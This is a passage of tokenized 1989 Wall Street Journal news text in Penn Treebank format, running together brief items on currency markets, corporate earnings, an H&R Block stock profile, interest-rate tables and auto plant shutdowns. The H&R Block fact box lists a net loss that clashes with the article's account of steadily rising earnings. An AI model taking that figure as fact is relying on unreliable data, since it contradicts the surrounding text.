shuttle Atlantis measured the Earth 's ozone layer . +The robot probe was dispatched Wednesday by the shuttle crew , which is to conduct a series of medical and other experiments before their scheduled landing Monday in California . +Argentina and Britain agreed to resume diplomatic and economic relations , seven years after the two nations battled over the Falkland Islands . +The announcement , in which they said hostilities had ceased , followed a two-day meeting in Madrid . +Rebel artillerists bombarded the capital of Afghanistan , killing at least 12 people , as the Soviet Union was reported to be airlifting arms and food to Kabul 's forces . +Fighting also was reported around the strategic town of Khost , near the Pakistani border . +Saudi Arabia 's foreign minister met in Damascus with President Assad to develop a plan for the withdrawal of Syria 's 40,000 troops from Lebanon as part of a settlement of that nation 's 14-year-old civil war . +The talks came as Lebanese negotiations on political changes appeared deadlocked . +GOP Sen. Specter of Pennsylvania said he would vote to acquit federal Judge Alcee Hastings in his impeachment trial on charges of perjury and bribery conspiracy . +Specter , the vice chairman of the Senate 's evidence panel , said there was `` insufficient evidence to convict '' the Miami jurist . +After slipping on news of a smaller-than-expected U.S. inflation figure , the dollar rebounded later in the trading day . +The U.S. unit dipped to a session low against the mark just after the release of the U.S. consumer price index . +The report showed that September consumer prices rose just 0.2 % , a smaller increase than expected . +The market had anticipated a 0.4 % rise in the price index . +The September index fueled speculation , damaging to the dollar , that the Federal Reserve soon will ease monetary policy further . +But foreign-exchange dealers said the dollar staged a quick comeback , prompted by a round of short covering and some fresh buying interest later in the trading day . +Traders said that a nearly 40-point gain in the Dow Jones Industrial Average , fueled in part by news of a lower-than-expected price index , had little influence on the dollar 's moves . +`` The market is beginning to disassociate itself from Wall Street , '' said one New York trader . +In late New York trading yesterday , the dollar was quoted at 1.8470 marks , down from 1.8485 marks late Wednesday , and at 141.70 yen , up from 141.45 yen late Wednesday . +Sterling was quoted at $ 1.5990 , up from $ 1.5920 late Wednesday . +In Tokyo Friday , the U.S. currency opened for trading at 141.93 yen , up from Thursday 's Tokyo close of 141.55 yen . +Some analysts said the consumer price index reflects a more significant slowdown in the U.S. economy than earlier indicated . +They point out that September 's producer-price index showed a 0.9 % increase . +They noted that because the consumer price index , known as the CPI , is a more comprehensive measure of inflation and is rising less rapidly than the producer-price index , or PPI , it could signal further easing by Fed . +Others suggested , however , that the Fed will hold any changes in monetary policy in check , leaving fed funds at around 8 3\/4 % , down from the 9 % level that prevailed from July through September . +Kevin Logan , chief economist with the Swiss Bank Corp. , said that both PPI and CPI climbed around 4 1\/2 % year-to-year in September . +He argued that both CPI and PPI have in fact decelerated since spring . +`` The Fed wo n't be stampeded into easing , '' Mr. Logan said , predicting that for now , interest rates will stay where they are . +A four-day matched sale-purchase agreement , a move to drain liquidity from the system , was viewed as a technical move , rather than an indication of tightening credit . +Market participants note that the mark continues to post heftier gains against its U.S. counterpart than any other major currency , particularly the yen . +`` There 's a bottomless pit of dollar demand '' by Japanese investors , said Graham Beale , managing director of foreign exchange at Hongkong & Shanghai Banking Corp. in New York , adding that purely speculative demand would n't hold the dollar at its recent levels against the Japanese currency . +Mr. Beale commented that the mark remains well bid against other currencies as well . +Robert White , manager of corporate trading at First Interstate of California , called the market `` psychologically pro-mark , '' noting that the U.S. remains a `` veritable grab bag '' for Japanese investors which accounts for the unabated demand for U.S. dollars . +On the Commodity Exchange in New York , gold dropped $ 1.60 to $ 367.10 an ounce in moderate trading . +Estimated volume was three million ounces . +In early trading in Hong Kong Friday , gold was at about $ 366.85 an ounce . +Hotel Investors Trust and its affiliate , Hotel Investors Corp. , said the companies plan to sell all of the hotels the companies own and operate , except for two hotel-casinos in Las Vegas , Nev . +The hotels and management interests will be sold at an auction , said John Rothman , president and chief executive officer of the trust and a director of the corporation . +Value of the properties and management interests was n't disclosed . +In all , the Los Angeles-based trust plans to sell its interests in 36 hotels , while the corporation will sell its management interests in 32 of those properties . +Excluded from the sale are the interests of the trust and the corporation in two Las Vegas hotel-casinos . +After completing the sale and paying debts , the trust and corporation will consider a number of options including a stock repurchase , payment of special dividend or investment in more gaming properties . +The companies will retain their current regular quarterly dividend of 25 cents during the sale process , Mr. Rothman said . +For the first six months , the trust and corporation had a net loss of $ 244,000 . +Baxter International Inc. , citing cost-cutting moves and increased sales of its home-care products and dialysis treatments , posted a 20 % rise in third-quarter net income on a 5.9 % sales boost . +The Deerfield , Ill. , medical products and services company posted net of $ 102 million , or 34 cents a share , compared with $ 85 million , or 28 cents a share , a year ago . +Sales totaled $ 1.81 billion up from $ 1.71 billion the previous year . +For the nine-month period , Baxter said net rose 15 % to $ 307 million , or $ 1.02 a share , from $ 267 million , or 89 cents a share , during the year-ago period . +Sales for the nine months were up 8 % to $ 5.44 billion from $ 5.04 billion in the same period in 1988 . +In New York Stock Exchange composite trading , Baxter closed at $ 22.25 a share , down 12.5 cents . +A group bidding for American Medical International Inc. , New York , said it formally received the final financing needed for a $ 3 billion bid for about 86 % of the hospital operator 's stock . +The offer from IMA Acquisition Corp. , for as many as 63 million shares , is set to expire Wednesday . +Earlier this month , IMA said it had received about $ 1 billion of senior debt financing from Chemical Bank and six other banks ; Chemical Bank said it was `` highly confident '' it could arrange the balance of about $ 509 million . +In addition , the $ 3 billion bid includes $ 1 billion of debt that will be assumed by IMA , $ 600 million of high-yield junk bonds that will be sold by First Boston Corp. and $ 285 million of equity . +In New York Stock Exchange composite trading yesterday , American Medical closed at $ 23.625 , up $ 1.875 . +American Medical has agreed to the offer , but earlier this month said it had received new `` expressions of interest '' from two previous bidders . +American Medical said it would pursue the inquiries from the companies , but would n't identify them unless they make firm offers . +H&R Block is one of the great success stories of U.S. business . +Oddly enough , this presents a problem for the stock . +Some money managers are disenchanted with H&R Block because they suspect the company 's glory days are past , or at least passing . +Block 's tax-preparation business is mature , they say , and some of its diversifications are facing tough competition . +It 's no secret that Block dominates the mass-market tax-preparation business . +The Street knows all about the predictability of its earnings , which are headed for a ninth consecutive yearly increase . +The company has consistently earned more than a 20 % annual return on its net worth while many companies would be happy with 15 % . +But the tax-preparation business simply has no more room to grow , says Mark Cremonie , director of research for Capital Supervisors Inc. , a Chicago firm that manages $ 6.5 billion . +`` You go to any medium-sized town in the U.S. and you 're going to see H&R Block tax services . '' +Mr. Cremonie 's firm once held about 4.8 % of H&R Block . +That was before the 1986 tax `` reform '' made taxes more complex than ever . +`` One thing you can bet on , '' he says , `` is that Congress will do stupid things with the Tax Code . '' +But Capital Supervisors sold the last of its H&R Block holdings earlier this year . +`` They 're thrashing around for diversification , '' he says . +`` I think a lot of their businesses are just so-so . '' +Last week the stock hit an all-time high of 37 1\/4 before getting roughed up in the Friday-the-13th minicrash . +It closed yesterday at 34 3\/4 . +To be sure , the stock still has a lot of fans . +`` If you invested $ 10,000 in the initial public offering in 1962 , it would be worth well over $ 5 million today , '' says Fredric E. Russell , a Tulsa , Okla. , money manager . +`` I do n't know what the risk is -LCB- of holding the stock -RCB- . +Taxes are not going out of business . '' +Many of his peers feel the same way . +The number of big institutions that own H&R Block shares is 207 and growing , according to a midyear tally by CDA Investment Technologies . +Brokerage houses are sweet on H&R Block , too . +Zacks Investment Research counts five brokerage houses that consider the stock a buy , and four that call it a hold . +None dare say to sell it . +But some money managers are doing just that . +Eugene Sit , president of Sit Investment Associates in Minneapolis , says , `` When we bought it , we thought the growth rate was going to accelerate '' because of computerized tax filing and instant refunds -LRB- the customer gets a refund immediately but pays extra to the tax preparer , which waits for Uncle Sam 's check -RRB- . +But neither of those developments did much to juice up growth , Mr. Sit says . +He figures Block earnings are now growing at about a 10 % annual rate -LRB- down from about 14 % the past five years -RRB- and will grow at an 8%-10 % rate in the future . +That 's `` not bad , '' Mr. Sit says , but it sure does n't justify Block shares being priced at 15 to 16 times estimated earnings for fiscal 1990 . +He wants stocks whose price\/earnings ratio is less than their growth rate ; as he figures it , H&R Block does n't even come close . +Two other money managers , in explaining why they have sold large amounts of H&R Block stock this year , spoke on the condition they not be named . +`` The stock was going no place and the earnings were so-so , '' said one . +-LRB- In the past two years , the stock almost stalled out . +It was above 33 , adjusted for a subsequent split , in 1987 , and has n't gotten much higher since . -RRB- +`` There 's no more growth in the tax business -LCB- except -RCB- for increasing prices , '' the money manager added . +The CompuServe subsidiary -LRB- which provides information to home-computer users -RRB- is `` where the growth is , '' he said , but its format is `` still too complicated . '' +CompuServe provides about 20 % of both sales and earnings . +The tax business still provides about 70 % of earnings , on about 50 % of sales . +Personnel Pool -LRB- temporary workers , mostly in the health-care area -RRB- chips in close to 25 % of sales but only about 9 % of earnings . +The shortage of nurses is crimping profit at Personnel Pool , said the second money manager . +He concedes H&R Block is `` well-entrenched '' and `` a great company , '' but says `` it does n't grow fast enough for us . +We 're looking for something that grows faster and sells at a comparable -LCB- price-earnings -RCB- multiple . '' +Thomas M. Bloch , president and chief operating officer , says `` I would disagree '' that the tax business is mature . +For example , he says , the company is planning to go nationwide with a new service , tested in parts of the country , aimed at taxpayers who want refunds in a hurry . +Mr. Bloch concedes that a recent diversification attempt fell through . +`` We 're still interested -LCB- in diversifying -RCB- , '' he says , `` but we 'd rather be prudent than make a mistake . '' +He also says CompuServe 's earnings continue to grow `` 20 % to 30 % a year '' in spite of tough competition from giants like Sears and IBM . +And he says Block 's other businesses are growing , although less consistently . +H&R Block -LRB- NYSE ; Symbol:HRB -RRB- +Business : Tax Preparation +Year ended April 30 , 1989 : +Revenue : $ 899.6 million +Net loss : $ 100.2 million ; $ 1.90 a share +First quarter , July 31 , 1989 : +Per-share earnings : Loss of 8 cents vs. loss of 9 cents +Average daily trading volume : 145,954 shares +Philips Industries Inc. said its board authorized the redemption Dec. 6 of the company 's $ 1 cumulative convertible special preferred stock at $ 37.50 a share , not including a 25 cent dividend for the current quarter , and the $ 3 cumulative convertible preferred stock at $ 75 , plus a 75 cent dividend for the current quarter . +The Dayton , Ohio , maker of parts for the building and transportation industries said holders of the two issues can convert their stock into common shares through the close of business Dec. 1 . +Each $ 1 cumulative share can be converted into 4.92 common shares ; the ratio on the $ 3 cumulative is eight common shares for each $ 3 cumulative preferred . +Philips did n't indicate how many shares outstanding it has of either issue . +Company officials could n't be reached . +Earlier this month the company said its board approved a proposed management-led leveraged buy-out at $ 25.50 a share , or $ 750 million . +-LRB- During its centennial year , The Wall Street Journal will report events of the past century that stand as milestones of American business history . -RRB- +PUTS AND CALLS , STOCK MARKET PATOIS for options to sell or buy a company 's shares , were long an arcane Wall Street art best left to the experts , who used them either as a hedge or for pure speculation . +Options lost some of their mystery in 1973 when the Chicago Board of Trade set up a special exchange to deal in them . +Until then , options had been traded only in the over-the-counter market , mostly in New York , and in an almost invisible secondary market operating chiefly by telephone . +The Chicago Board of Trade , the No. 1 U.S. grain market , had long chafed under the attention won by its innovative archrival , the livestock-dealing Mercantile Exchange . +So the men who ran the grain pits listened when Joseph Sullivan , a 35-year-old former Wall Street Journal newsman , offered them the idea of all-options trading . +After four year of tinkering and $ 2.4 million in seed money , the board set up the new marketplace , titled it the Chicago Board Options Exchange , and named Sullivan its first president . +The beginnings were modest . +The CBOE opened for business on April 26 , 1973 , in what had been a Board of Trade lunchroom . +It listed just 16 options to buy a `` pilot list '' of stocks on the New York Stock Exchange . +-LRB- Puts , or sell options , would not be added until 1977 . -RRB- +The 282 members had paid $ 10,000 apiece for seats . +-LRB- The 1989 price : $ 250,000 . -RRB- +The first day 's business was 911 contracts -LRB- each for 100 shares of one of the listed stocks -RRB- . +By the end of 1973 , the number of `` underlying '' Big Board stocks had been increased to 50 and the options exchange had run up volume of 1.1 million contracts . +A year later , it was 5.7 million . +Last year , more than 1,800 traders on the CBOE bought and sold 112 million contracts on 178 listed stocks , 60 % of all U.S. listed options trading . +The new exchange drew instant recognition from an unwelcome quarter . +The government , campaigning against fixed brokerage commissions , promptly sued the CBOE over its minimum-fee system . +The Nuclear Regulatory Commission ruled unanimously that the financial troubles facing the Seabrook , N.H. , nuclear-power plant have no impact on whether the plant receives a full-power license . +Massachusetts Attorney General James Shannon , opposing the license , said he will appeal the ruling in federal court . +Seabrook officials said the plant could receive a full-power license by the end of the year . +The NRC rejected Mr. Shannon 's argument that Public Service Co. of New Hampshire , which owns the largest share of Seabrook , and 11 other owners are financially unable to guarantee the plant 's safe operation . +Mr. Shannon was seeking a waiver of NRC policy that ignores financial considerations in making licensing decisions . +In its ruling , the NRC said that because Seabrook will be allowed to charge rates sufficient to run the plant and make payments on past construction costs , consideration of the owners ' financial condition is pointless . +`` The commissioners found the circumstances of the case did n't undercut the assurance from government rate setters of available funds adequate for safe operation , '' said a commission spokesman . +In January 1988 , the utility filed for protection under Chapter 11 of the federal Bankruptcy Code , allowing it to continue to operate while protected from creditors ' lawsuits . +Bristol-Myers Squibb Co. , New York , the newly merged drug and health-care-product company , reported record third-quarter earnings for both companies in the merger . +Bristol-Myers Co. and Squibb Corp. , Princeton , N.J. , merged Oct. 4 , but the new company reported third-period earnings for both companies . +For the fourth quarter , Bristol-Myers Squibb will report one set of earnings . +Bristol-Myers said net income rose 15 % to $ 266.2 million , or 93 cents a share , from $ 232.3 million , or 81 cents a share , a year earlier . +Sales gained 5 % to $ 1.59 billion from $ 1.52 billion . +Squibb Corp. said net rose 17 % to $ 144.5 million , or $ 1.47 a share , from $ 123 million , or $ 1.25 a share . +Sales were $ 730.1 million , up 7 % from $ 679.5 million . +In New York Stock Exchange composite trading , Bristol-Myers Squibb rose $ 1.75 to $ 52.75 . +PPG Industries Inc. , hurt by softness in the U.S. automotive and construction industries , said third-quarter net income fell 5.5 % to $ 106.7 million , or 97 cents a share , from $ 112.9 million , or $ 1.03 a share , a year ago . +Sales were nearly identical to the year-earlier $ 1.36 billion . +The drop in earnings did n't surprise analysts who said the Pittsburgh glass , coatings and chemical concern had been predicting a slow quarter because of the sluggish construction industry , a major market for the company 's flat glass . +Glass sales to Canadian and European auto makers and sales of replacement auto glass in all markets increased . +The coating segment also posted higher sales particularly in North America and Europe . +But sale increases were offset by slumping sales in flat glass and fiberglass reinforcements , the company said . +Also , chemicals sales were slightly down because of lower prices for vinyl chloride monomer and other chlorine derivatives . +In New York Stock Exchange composite trading , PPG closed at $ 41 a share , down 37.5 cents . +Jefferies Group Inc. said third-quarter net income fell 4 % , to $ 2.2 million , or 35 cents a share , from $ 2.3 million , or 31 cents a share on more shares , a year earlier . +Revenue rose 15 % , to $ 36 million from $ 31.2 million . +Jefferies , a Los Angeles holding company primarily engaged in securities trading , also said stock market declines since the quarter ended Sept. 30 created an unrealized pretax loss of about $ 6 million in its risk arbitrage account . +For the nine months , Jefferies said net fell 39 % , to $ 6.8 million , or $ 1.07 a share , from $ 11.1 million , or $ 1.50 a share . +Revenue fell 3 % , to $ 105.2 million from $ 108.4 million . +Sony Corp. , New York , said its bids for Columbia Pictures Entertainment Inc. and Guber-Peters Entertainment Co. have been cleared by federal antitrust regulators . +The Japanese company said the waiting period under the Hart-Scott-Rodino antitrust act for the $ 3.4 billion bid for Columbia and the $ 200 million offer for Guber-Peters expired Monday . +Sony has agreed to buy both companies , but is in a legal battle with Warner Communications Inc. over the services of producers Peter Guber and Jon Peters . +In a filing with the Securities and Exchange Commission , Sony also said two more suits have been filed opposing the company 's agreement to buy Columbia . +Sony added that a hearing has been set for Thursday in the Delaware Chancery Court in one of the suits . +Thursday , October 19 , 1989 +The key U.S. and foreign annual interest rates below are a guide to general levels but do n't always represent actual transactions . +PRIME RATE : 10 1\/2 % . +The base rate on corporate loans at large U.S. money center commercial banks . +FEDERAL FUNDS : 8 3\/4 % high , 8 5\/8 % low , 8 11\/16 % near closing bid , 8 11\/16 % offered . +Reserves traded among commercial banks for overnight use in amounts of $ 1 million or more . +Source : Fulton Prebon -LRB- U.S.A . -RRB- Inc . +DISCOUNT RATE : 7 % . +The charge on loans to depository institutions by the New York Federal Reserve Bank . +CALL MONEY : 9 3\/4 % to 10 % . +The charge on loans to brokers on stock exchange collateral . +COMMERCIAL PAPER placed directly by General Motors Acceptance Corp. : 8.45 % 30 to 44 days ; 8.25 % 45 to 73 days ; 8.325 % 74 to 99 days ; 7.75 % 100 to 179 days ; 7.50 % 180 to 270 days . +COMMERCIAL PAPER : High-grade unsecured notes sold through dealers by major corporations in multiples of $ 1,000 : 8.525 % 30 days ; 8.425 % 60 days ; 8.375 % 90 days . +CERTIFICATES OF DEPOSIT : 8.05 % one month ; 8.02 % two months ; 8 % three months ; 7.98 % six months ; 7.95 % one year . +Average of top rates paid by major New York banks on primary new issues of negotiable C.D.s , usually on amounts of $ 1 million and more . +The minimum unit is $ 100,000 . +Typical rates in the secondary market : 8.60 % one month ; 8.60 % three months ; 8.45 % six months . +BANKERS ACCEPTANCES : 8.45 % 30 days ; 8.32 % 60 days ; 8.32 % 90 days ; 8.17 % 120 days ; 8.08 % 150 days ; 7.98 % 180 days . +Negotiable , bank-backed business credit instruments typically financing an import order . +LONDON LATE EURODOLLARS : 8 11\/16 % to 8 9\/16 % one month ; 8 11\/16 % to 8 9\/16 % two months ; 8 11\/16 % to 8 9\/16 % three months ; 8 5\/8 % to 8 1\/2 % four months ; 8 9\/16 % to 8 7\/16 % five months ; 8 9\/16 % to 8 7\/16 % six months . +LONDON INTERBANK OFFERED RATES -LRB- LIBOR -RRB- : 8 3\/4 % one month ; 8 11\/16 % three months ; 8 9\/16 % six months ; 8 9\/16 % one year . +The average of interbank offered rates for dollar deposits in the London market based on quotations at five major banks . +FOREIGN PRIME RATES : Canada 13.50 % ; Germany 8.50 % ; Japan 4.875 % ; Switzerland 8.50 % ; Britain 15 % . +These rate indications are n't directly comparable ; lending practices vary widely by location . +TREASURY BILLS : Results of the Monday , October 16 , 1989 , auction of short-term U.S. government bills , sold at a discount from face value in units of $ 10,000 to $ 1 million : 7.37 % 13 weeks ; 7.42 % 26 weeks . +FEDERAL HOME LOAN MORTGAGE CORP . -LRB- Freddie Mac -RRB- : Posted yields on 30-year mortgage commitments for delivery within 30 days . +9.87 % , standard conventional fixed-rate mortgages ; 7.875 % , 2 % rate capped one-year adjustable rate mortgages . +Source : Telerate Systems Inc . +FEDERAL NATIONAL MORTGAGE ASSOCIATION -LRB- Fannie Mae -RRB- : Posted yields on 30 year mortgage commitments for delivery within 30 days -LRB- priced at par -RRB- 9.81 % , standard conventional fixed-rate mortgages ; 8.70 % , 6\/2 rate capped one-year adjustable rate mortgages . +Source : Telerate Systems Inc . +MERRILL LYNCH READY ASSETS TRUST : 8.50 % . +Annualized average rate of return after expenses for the past 30 days ; not a forecast of future returns . +China said the question of Taiwan 's membership in the General Agreement on Tariffs and Trade should be considered only after China 's own membership in the 97-nation organization is restored . +Both China and Taiwan are seeking seats in GATT , which sponsors trade-liberalizing agreements and sets world-commerce rules . +`` As one of China 's provinces , Taiwan has no right to join GATT on its own , '' Foreign Ministry spokesman Li Zhaoxing said . +China , under the Nationalist government of Chiang Kai-shek , was a founding member of GATT in 1947 . +The Nationalists withdrew in 1950 , after their flight to Taiwan , and the Communist government in Beijing applied for restoration of China 's membership in July 1986 . +The U.S. has voiced opposition to China 's bid for GATT membership , saying China has yet to undertake needed economic reforms . +Japan 's biggest women 's underwear maker , Wacoal Corp. , said that it developed a sports car that it plans to market in two years . +The `` Jiotto Caspita '' can run at over 188 miles an hour , a company spokesman said . +The base price of the car is estimated at 30 million yen -LRB- about $ 213,000 -RRB- . +Wacoal said it intends to produce the cars through a car manufacturer . +Along with the car , Wacoal plans to launch a series of Caspita-brand men 's underwear . +`` Our image is a company that makes women 's products , '' said a Wacoal spokesman . +`` Now , we 're going to sell to men . '' +The British satirical magazine Private Eye won an appeal against the size of a $ 960,000 libel award to Sonia Sutcliffe , the estranged wife of the `` Yorkshire Ripper '' mass murderer . +An appeals-court panel slashed all but $ 40,000 from the award , the largest ever set by a British jury , pending a reassessment of the damages . +But the panel dismissed the magazine 's contention that it had n't libeled Mrs. Sutcliffe when it accused her of trying to sell her story to capitalize on the notoriety of her husband . +Private Eye had been threatened with closure because it could n't afford the libel payment . +Senshukai Co. , a travel agent based in Osaka , Japan , announced that it and Nissho Iwai Corp. , a major Japanese trading house , will jointly build a 130-unit condominium in Queensland , Australia . +Senshukai said the partners plan to rent to tourists but will also sell to interested parties . +Senshukai has a 60 % stake in the venture and Nissho Iwai has the rest . +Construction of the 34-floor building will begin next May and should be completed in April 1992 . +Units will cost from 500,000 to 3.5 million Australian dollars -LRB- about US$ 386,000 to US$ 2.7 million -RRB- . +The Soviet Union has halted construction of two Chernobyl-type nuclear reactors and is reassessing the future of 12 other existing reactors . +Viktor Sidorenko , vice chairman of the State Committee on Nuclear Safety , said the two reactors were at Kursk and Smolensk . +News of the halt comes amid growing anger in the Ukraine and Byelorussia over continuing high levels of radiation from Chernobyl . +A former vice president of the Singapore branch of Drexel Burnham Lambert Group Inc. was charged in court yesterday on 19 counts of cheating . +Francis Dang , 41 , is alleged to have been involved in cheating Drexel Burnham Lambert of up to 2.1 million Singapore dollars -LRB- US$ 1.1 million -RRB- by carrying out unauthorized transactions on the London Commodities Exchange and the International Petroleum Exchange . +Mr. Dang is alleged to have used the account of Singapore hotel and property magnate Ong Beng Seng to effect the transactions . +Japan says its economic growth will fall sharply if it cuts back on the use of oil , coal and gas to cap emissions of carbon dioxide . +A Ministry of International Trade and Industry official said that a study found that Japan 's annual economic growth rate would eventually be only 0.8 % if carbon-dioxide emissions remained at this year 's level of 300 million tons . +The study will support arguments against capping carbon-dioxide emissions that Japan will make at a U.N.-backed conference on atmospheric pollution next month . +The study said Japan 's carbon-dioxide emissions would slightly more than double by 2010 unless the nation reduced its dependence on fossil fuels . +It said that expanding nuclear-power capability is the quickest way to lessen that dependence . +But increased reliance on nuclear power would meet stiff opposition from environmentalists , a second ministry official said . +Just in time for Halloween , Britain 's Oxford University Press is publishing a `` Dictionary of Superstitions . '' +The books 1,500 entries include stepping on cracks and knocking on wood ... . +In New Zealand 's tiny township of Kaitaia , which has had direct dialing for less than a year , about 30 angry phone-company customers questioned the size of their bills . +It turned out their children had been dialing a `` sex fantasy '' service in the U.S. . +Slowing sales of its profitable Jeep Cherokee and Wagoneer sport utility vehicles are forcing Chrysler Corp. to temporarily idle its Toledo , Ohio , assembly plant for the first time since April 1986 . +About 5,500 hourly workers will be laid off for a week beginning Oct. 23 , and overtime has been eliminated at the plant for the fourth quarter , a Chrysler spokesman said . +That 's a significant change from earlier this year when the plant worked substantial overtime only to have sales fall short of the company 's bullish expectations . +Sales of Cherokee , the best-selling Jeep , and the lower-volume Wagoneer were actually up about 10 % through the end of last month . +But that 's less than Chrysler officials had hoped when they set ambitious production schedules for the Toledo plant earlier this year . +Even when it became clear this spring that demand was n't coming up to expectations , Chrysler officials `` resisted '' cutting output because Cherokee and Wagoneer are `` very profitable vehicles , '' the spokesman said . +Instead , Chrysler officials in late May slapped $ 1,000 cash rebates on the vehicles , including the first such incentives on the popular four-door Cherokee since Chrysler bought Jeep in 1987 . +The incentives boosted sales for a while , but the pace had cooled by last month . +The result : Chrysler dealers had a bloated 82-day supply of the Cherokee as of the end of last month and a 161-day supply of the Comanche pickup , which Toledo also builds . +A 60-day to 65-day supply is considered normal . +At Jasper Jeep-Eagle , one of the largest Jeep dealerships in the country , inventories have continued to swell . +Steve Lowe , general manager of Jasper , Ga. , dealership , said new rebates of $ 500 to $ 1,000 on the models have stimulated sales , but not enough to significantly cut dealer stocks . +`` If people are n't buying , you have to close plants , '' he said . +Separately , Chrysler said it will idle for four weeks the St. Louis assembly plant that builds the Chrysler LeBaron and Dodge Daytona models . +Chrysler officials said the plant is scheduled to resume production on Nov. 20. , and 3,300 hourly workers will be affected . +General Motors Corp. , meanwhile , said it will idle for yet another week its Linden , N.J. , assembly plant , bringing to three weeks the total time that plant will be idled during October . +GM said the assembly plant , which builds the Chevrolet Corsica and Beretta compact cars , originally was scheduled to reopen Monday but now will not resume production until Oct. 30 . +The shutdown affects 3,000 workers and will cut output by about 4,320 cars . +Sluggish sales of the Beretta and Corsica spurred GM to offer $ 800 rebates on those cars . +The Corsica and Beretta make up the highest-volume car line at Chevrolet , but sales of the cars are off 9.6 % for the year , and fell a steep 34.2 % early this month . +GM has scheduled overtime at its Lordstown , Ohio , and Janesville , Wis. , assembly plants , which build the Chevrolet Cavalier . +Ford Motor Co. said it will shut down for one week its Kentucky Truck Plant because of a `` shortage of dealer orders . '' +The shutdown will idle 2,000 hourly employees and eliminate production of about 1,300 medium and heavy duty trucks . +The assembly plant is scheduled to resume production on Oct. 30 . +Meanwhile , the nine major U.S. auto makers plan to build 143,178 cars this week , down 11.7 % from 162,190 a year ago and flat with last week 's 142,117 car output . +f - Includes Chevrolet Prizm and Toyota Corolla . +r - Revised . +x - Year-to-date 1988 figure includes Volkswagen domestic-production through July . +LOTUS DEVELOPMENT Corp. 's net income rose 61 % in the third quarter from the year-earlier period . +Yesterday 's edition misstated the percentage increase . +First Fidelity Bancorp. , Lawrenceville , N.J. , reported a 24 % drop in third-quarter profit , because of a decline in earning assets , lower loan volume and tighter interest margins . +The bank holding company posted net income of $ 54.4 million , or 87 cents a share , including $ 1.7 million , or three cents a share , in one-time tax benefits . +A year earlier , net was $ 71.6 million , or $ 1.22 a share . +First Fidelity said non-performing assets increased to $ 482.3 million Sept. 30 from $ 393.1 million June 30 . +The rise resulted from the transfer to non-accrual status of $ 96 million `` owed by two national borrowers and one local commercial real-estate customer , '' First Fidelity said . +It said it does n't anticipate any loss of principal on two of the loans , comprising $ 85 million of these credits . +First Fidelity said it boosted its loan-loss provision to $ 50.9 million from $ 20.4 million a year ago , primarily because of a weaker real-estate sector in the region . +VIACOM Inc. 's loss narrowed to $ 21.7 million in the third quarter from $ 56.9 million a year ago . +Thursday 's edition misstated the narrowing . +Coastal Corp. said it signed a definitive agreement with Aruba to restart a 150,000-barrel-a-day oil refinery . +Coastal would n't disclose the terms . +Coastal , a Houston oil and gas company , said it expects to begin operations in October 1990 . +The company said it may install additional processing units at the refinery to produce higher octane gasolines and other products . +The company said it was leasing the site of the refinery from Aruba . +Exxon Corp. built the plant but closed it in 1985 and sold off much of the equipment to dismantling contractors , from whom Coastal bought back much of the equipment . +A Coastal spokesman said the biggest expense will be to refurbish the refinery but would n't say how much that would be . +The prime minister of Aruba has said it could cost around $ 100 million . +Coastal said the refinery 's expected daily production will include 34,000 barrels of jet fuel , 32,000 barrels of low-sulfur diesel fuel , 30,000 barrels of naphtha , 17,000 barrels of residual fuel oil , 8,000 barrels of asphalt and 25,000 barrels of low-sulfur catalytic cracker feedstock . +Loral Corp. said fiscal second-quarter net income was $ 19.8 million , or 79 cents a share , compared with year-earlier earnings from continuing operations of $ 15.6 million , or 62 cents a share . +Year-earlier net of $ 21 million , or 84 cents a share , included the results of Loral 's former Aircraft Braking Systems and Engineered Fabrics divisions , which were sold April 27 to the company 's chairman , Bernard L. Schwartz . +The defense electronics concern attributed the operating improvement to higher profit margins and lower net interest expense . +Loral also reported that its bookings more than doubled to $ 654 million in the quarter , ended Sept. 30 , from $ 257 million , in the year-before period . +The increase was due mainly to a $ 325 million order from Turkey to equip its fleet of F-16 fighters with Loral 's ALQ-178 Rapport III electronic countermeasures system . +The order is the biggest in the company 's history . +Sales in the latest period edged up to $ 295.7 million from $ 293.9 million . +Mr. Schwartz said the recent increase in orders `` puts us well on the way to our goal of $ 1.6 billion in bookings for the year . '' +He added : `` I expect to see the earnings momentum we experienced this quarter continue for the rest of the year . '' +Loral said it expects sales to accelerate in both the third and fourth quarters of this fiscal year . +Loral 's profit from continuing operations for the first six months of fiscal 1990 was $ 36.4 million , or $ 1.44 a share , up 31 % from $ 27.8 million , or $ 1.11 a share , a year earlier . +Net income fell 8.6 % to $ 37.1 million , or $ 1.43 a share , from $ 40.6 million , or $ 1.56 a share . +Fiscal first-half sales slipped 3.9 % to $ 528.4 million from $ 549.9 million . +Bookings for the first half totaled $ 813 million , compared with the $ 432 million recorded last year . +In New York Stock Exchange composite trading , Loral closed at $ 33.25 , down 37.5 cents . +HealthVest said two of its lenders have given it notices of default on bank loans and said they may take actions to recover their loans . +HealthVest , an Austin , Texas , real estate investment trust , said that Chemical Bank , the lead bank under its domestic bank agreement , told it that if $ 3.3 million owed to the bank group is n't paid by today , the group will call the $ 120 million that HealthVest has outstanding under the credit line . +The bank group also said that it wo n't make additional advances under the $ 150 million credit line . +HealthVest missed a payment to the group that was due in late September . +In addition , HealthVest said Bank of Tokyo Trust Co. also has notified it of a default and said it might take action to cure the default . +HealthVest missed an interest payment to Bank of Tokyo on Oct. 1 . +However , HealthVest said the Tokyo bank indicated that it wo n't accelerate HealthVest 's $ 50 million loan . +HealthVest is in a severe liquidity bind because its affiliate , Healthcare International Inc. , has failed to make about $ 10.6 million in principal and interest payments owed since August . +Healthcare operates many of the health-care properties that HealthVest owns . +EMPIRE PENCIL , later called Empire-Berol , developed the plastic pencil in 1973 . +Yesterday 's Centennial Journal misstated the company 's name . +Storage Technology Corp. had net income of $ 8.3 million , or 32 cents a share , for its fiscal-third quarter ended Sept. 29 , almost 15 times the $ 557,000 , or two cents a share , it posted for the year-ago period . +Storage , Louisville , Colo. , which makes data-storage devices for mainframe computers , said the huge increase in net reflects `` strong sales '' of its tape products , particularly the 4400 Automated Cartridge System , which holds a library of tape cartridges . +The company said it recently sold its 750th cartridge system , which cost $ 400,000 to $ 500,000 each . +Quarter revenue was $ 232.6 million , up 12 % from $ 206 million last year . +The stock market reacted strongly to the news . +Storage rose $ 1.125 a share , to close at $ 14 , in New York Stock Exchange composite trading . +For the nine months , Storage had net of $ 25.5 million , or 98 cents a share , including an $ 11.3 million extraordinary gain for the anticipated proceeds from liquidating an Irish unit . +Net was up 69 % from $ 15.1 million , or 57 cents a share , last year . +Revenue for the latest period was up 11 % to $ 682.7 million , from $ 614.6 million . +A Canadian government agency conditionally approved proposed exports to the U.S. of natural gas from big , untapped fields in the Mackenzie River delta area of the western Canadian Arctic . +Three companies , Esso Resources Canada Ltd. , 